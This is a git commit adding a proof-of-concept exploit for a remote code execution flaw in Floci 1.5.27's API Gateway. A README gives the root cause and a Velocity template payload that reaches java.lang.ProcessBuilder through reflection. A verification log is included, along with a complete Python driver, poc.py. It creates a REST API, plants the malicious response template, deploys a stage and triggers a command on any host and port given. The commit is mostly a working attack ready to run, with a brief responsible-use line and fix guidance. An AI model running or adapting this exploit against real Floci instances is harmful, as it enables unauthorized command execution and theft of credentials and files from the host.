Add Floci API Gateway VTL RCE PoC

This commit is contained in:
ashton
2026-06-23 05:43:23 -05:00
parent da8504bc4d
commit 33285ec49e
4 changed files with 335 additions and 1 deletions

View File

@@ -0,0 +1,190 @@
# Floci 1.5.27 API Gateway VTL RCE PoC
This directory documents and validates an API Gateway Velocity Template Language RCE in Floci `1.5.27`.
Floci evaluates user-controlled API Gateway mapping templates with Apache Velocity. The exposed template objects allow reflection from `$util` into `java.lang.ProcessBuilder`. An attacker who can create or update an API Gateway integration response can store a malicious response template, invoke the API, and execute an operating-system command in the Floci JVM process.
Research status: verified locally end to end through Floci's HTTP API and a standalone PoC.
## Affected Target
- Product: Floci
- Version analyzed: `1.5.27`
- Commit analyzed: `238294e779d0cd24835ba04d7bb16b1e1fd15f76`
- Service surface: API Gateway REST API integration response templates
- Impact: command execution in the Floci server process
- Default exposure note: IAM policy enforcement is disabled by default
## Impact
When a Floci instance exposes its AWS-compatible API endpoint to an attacker, the attacker can create a REST API, configure a `MOCK` integration, place a malicious VTL response template in the integration response, deploy a stage, and invoke the route. The response template executes server-side during request processing and can start arbitrary local processes.
In the validated local run, the payload executed `cmd.exe /c echo FLOCI_STANDALONE_POC>...` and created a marker file from the Floci process. On Linux targets the same primitive can run `sh -c '<command>'`.
Severity is critical for exposed Floci deployments where untrusted users can reach the API Gateway control plane. It is high to critical for shared developer or CI environments because the command runs with the Floci process privileges and can access local credentials, mounted project files, Docker credentials, service data, and adjacent emulator state available to that process.
## Preconditions
- The attacker can reach Floci's HTTP endpoint.
- API Gateway service support is enabled.
- The attacker can call API Gateway REST control-plane endpoints such as `/restapis`.
- IAM enforcement is disabled or does not block the attacker's API Gateway control-plane calls.
- The target host has an executable command path matching the supplied `--argv`.
Floci's default application config enables API Gateway and disables IAM policy enforcement:
```yaml
services:
apigateway:
enabled: true
apigatewayv2:
enabled: true
iam:
enabled: true
enforcement-enabled: false
```
## Root Cause
The API Gateway integration response API stores attacker-controlled `responseTemplates` without sandboxing them as untrusted code:
```text
ApiGatewayService.putIntegrationResponse(...)
request["responseTemplates"] -> IntegrationResponse.responseTemplates
```
When a `MOCK` integration is invoked, Floci selects the configured response template and evaluates it through `VtlTemplateEngine`:
```text
ApiGatewayExecuteController.invokeMock(...)
template = ir.responseTemplates()["application/json"]
result = vtlEngine.evaluate(template, vtlCtx)
```
`VtlTemplateEngine` constructs a default `VelocityEngine`, exposes Java helper objects such as `$util`, and evaluates the template:
```text
new VelocityEngine()
vc.put("util", new UtilVariable(objectMapper))
engine.evaluate(vc, writer, "apigw-template", template)
```
The resulting Velocity environment allows a template to call Java reflection methods:
```vtl
$util.getClass().forName('java.lang.ProcessBuilder')
```
From there, the template can construct a `ProcessBuilder`, start a process, and wait for completion.
## Exploit Flow
The PoC performs the following HTTP sequence:
1. `POST /restapis`
2. `GET /restapis/{apiId}/resources`
3. `POST /restapis/{apiId}/resources/{rootId}`
4. `PUT /restapis/{apiId}/resources/{resourceId}/methods/GET`
5. `PUT /restapis/{apiId}/resources/{resourceId}/methods/GET/responses/200`
6. `PUT /restapis/{apiId}/resources/{resourceId}/methods/GET/integration`
7. `PUT /restapis/{apiId}/resources/{resourceId}/methods/GET/integration/responses/200`
8. `POST /restapis/{apiId}/deployments`
9. `POST /restapis/{apiId}/stages`
10. `GET /execute-api/{apiId}/prod/rce`
The malicious response template is stored at step 7 and executed at step 10.
## Payload
The PoC uses a `ProcessBuilder(List<String>)` path so command arguments are preserved:
```vtl
#set($pbClass=$util.getClass().forName('java.lang.ProcessBuilder'))
#set($listClass=$util.getClass().forName('java.util.List'))
#set($ctor=$pbClass.getConstructor($listClass))
#set($cmd=$util.parseJson('["sh","-c","id > /tmp/floci_vtl_rce"]'))
#set($pb=$ctor.newInstance($cmd))
#set($p=$pb.start())
#set($exit=$p.waitFor())
{"ok":true,"exit":"$exit"}
```
## Files
- `poc.py` - stdlib-only Python exploit driver with target host and port supplied by CLI.
- `evidence/2026-06-23-local-verification.txt` - local verification transcript.
## Usage
Linux target marker:
```bash
python3 poc.py --host 127.0.0.1 --port 4566 --argv sh -c 'id > /tmp/floci_vtl_rce'
cat /tmp/floci_vtl_rce
```
Windows target marker:
```powershell
python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "whoami > C:/Temp/floci_vtl_rce.txt"
Get-Content C:\Temp\floci_vtl_rce.txt
```
Leave the created REST API in place for inspection:
```bash
python3 poc.py --host 127.0.0.1 --port 4566 --argv sh -c 'id > /tmp/floci_vtl_rce' --no-cleanup
```
Expected success output shape:
```text
[+] REST API id: d1e873f2f8
[+] Resource id: cfd975b9
[+] Trigger response: {"ok":true,"exit":"0"}
[+] Cleanup delete REST API: HTTP 202
```
## Local Verification
The finding was verified in two ways.
First, a Quarkus/JUnit end-to-end test drove Floci's HTTP API in-process and asserted marker creation:
```powershell
.\mvnw.cmd '-Denforcer.skip=true' '-Dmaven.compiler.release=21' '-Dmaven.compiler.enablePreview=true' '-DargLine=--enable-preview' '-Dtest=ApiGatewayVtlRceExploitTest' test
```
Result:
```text
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
target\apigw-vtl-rce-marker.txt => FLOCI_APIGW_VTL_RCE
```
Second, a live local Floci dev server was started on `127.0.0.1:4566` and this standalone PoC was run against it:
```powershell
python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "echo FLOCI_STANDALONE_POC>C:/Temp/floci_standalone_poc.txt"
```
Result:
```text
[+] Trigger response: {"ok":true,"exit":"0"}
C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC
```
## Fix Direction
Do not evaluate API Gateway mapping templates with unrestricted Java reflection. A defensive patch should:
- configure Velocity with a secure uberspector and deny reflection/classloader/process access;
- expose only API Gateway-compatible helper methods, not arbitrary Java object graphs;
- add regression tests that prove `$util.getClass()`, `Class.forName`, `ProcessBuilder`, `Runtime`, and classloader access are unavailable from templates;
- treat API Gateway templates as untrusted data-plane code and isolate evaluation from the Floci JVM where practical;
- require authorization for API Gateway control-plane mutation endpoints when Floci is bound beyond localhost.
## Responsible Use
Run this PoC only against local research targets, owned systems, or explicitly authorized lab instances.

View File

@@ -0,0 +1,23 @@
Target:
Floci 1.5.27
Commit 238294e779d0cd24835ba04d7bb16b1e1fd15f76
JUnit E2E command:
.\mvnw.cmd '-Denforcer.skip=true' '-Dmaven.compiler.release=21' '-Dmaven.compiler.enablePreview=true' '-DargLine=--enable-preview' '-Dtest=ApiGatewayVtlRceExploitTest' test
JUnit E2E result:
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
target\apigw-vtl-rce-marker.txt => FLOCI_APIGW_VTL_RCE
Standalone PoC command:
python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "echo FLOCI_STANDALONE_POC>C:/Temp/floci_standalone_poc.txt"
Standalone PoC result:
[+] REST API id: d1e873f2f8
[+] Resource id: cfd975b9
[+] Trigger response: {"ok":true,"exit":"0"}
[+] Command executed by Floci process
[+] Cleanup delete REST API: HTTP 202
POC_EXIT=0
MARKER_EXISTS=True
C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC

View File

@@ -0,0 +1,120 @@
import argparse
import json
import sys
import time
import urllib.error
import urllib.request
def request_json(method, base_url, path, body=None):
data = None
headers = {"Accept": "application/json"}
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(base_url + path, data=data, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=15) as resp:
raw = resp.read().decode("utf-8", errors="replace")
status = resp.status
except urllib.error.HTTPError as exc:
raw = exc.read().decode("utf-8", errors="replace")
status = exc.code
try:
parsed = json.loads(raw) if raw else None
except json.JSONDecodeError:
parsed = None
return status, raw, parsed
def require(result, expected, action):
status, raw, parsed = result
if status != expected:
raise RuntimeError(f"{action} failed: HTTP {status}: {raw[:500]}")
if not isinstance(parsed, dict):
raise RuntimeError(f"{action} returned non-object JSON: {raw[:500]}")
return parsed
def vtl_string(value):
return value.replace("\\", "\\\\").replace("'", "\\'")
def payload(argv):
command_json = json.dumps(argv, separators=(",", ":"))
return (
"#set($pbClass=$util.getClass().forName('java.lang.ProcessBuilder'))\n"
"#set($listClass=$util.getClass().forName('java.util.List'))\n"
"#set($ctor=$pbClass.getConstructor($listClass))\n"
f"#set($cmd=$util.parseJson('{vtl_string(command_json)}'))\n"
"#set($pb=$ctor.newInstance($cmd))\n"
"#set($p=$pb.start())\n"
"#set($exit=$p.waitFor())\n"
'{"ok":true,"exit":"$exit"}'
)
def exploit(base_url, argv, cleanup):
stamp = str(int(time.time()))
template = payload(argv)
api = require(request_json("POST", base_url, "/restapis", {"name": f"vtl-rce-{stamp}"}), 201, "create REST API")
api_id = api["id"]
print(f"[+] REST API id: {api_id}")
resources = require(request_json("GET", base_url, f"/restapis/{api_id}/resources"), 200, "list resources")
root_id = resources["item"][0]["id"]
resource = require(request_json("POST", base_url, f"/restapis/{api_id}/resources/{root_id}", {"pathPart": "rce"}), 201, "create resource")
resource_id = resource["id"]
print(f"[+] Resource id: {resource_id}")
require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET", {"authorizationType": "NONE"}), 201, "create method")
require(request_json("PUT", base_url, f"/restapis/{api_id}/resources/{resource_id}/methods/GET/responses/200", {"responseParameters": {}}), 201, "create method response")
require(
request_json(
"PUT",
base_url,
f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration",
{"type": "MOCK", "requestTemplates": {"application/json": '{"statusCode": 200}'}},
),
201,
"create integration",
)
require(
request_json(
"PUT",
base_url,
f"/restapis/{api_id}/resources/{resource_id}/methods/GET/integration/responses/200",
{"selectionPattern": "", "responseTemplates": {"application/json": template}},
),
201,
"create integration response",
)
deployment = require(request_json("POST", base_url, f"/restapis/{api_id}/deployments", {"description": "vtl-rce"}), 201, "create deployment")
deployment_id = deployment["id"]
require(request_json("POST", base_url, f"/restapis/{api_id}/stages", {"stageName": "prod", "deploymentId": deployment_id}), 201, "create stage")
status, raw, parsed = request_json("GET", base_url, f"/execute-api/{api_id}/prod/rce")
if status != 200:
raise RuntimeError(f"trigger failed: HTTP {status}: {raw[:500]}")
print(f"[+] Trigger response: {raw.strip()}")
if cleanup:
deleted = request_json("DELETE", base_url, f"/restapis/{api_id}")
print(f"[+] Cleanup delete REST API: HTTP {deleted[0]}")
return parsed
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--host", required=True)
parser.add_argument("--port", required=True, type=int)
parser.add_argument("--scheme", default="http", choices=("http", "https"))
parser.add_argument("--argv", nargs="+", required=True)
parser.add_argument("--no-cleanup", action="store_true")
args = parser.parse_args()
try:
exploit(f"{args.scheme}://{args.host}:{args.port}", args.argv, not args.no_cleanup)
return 0
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())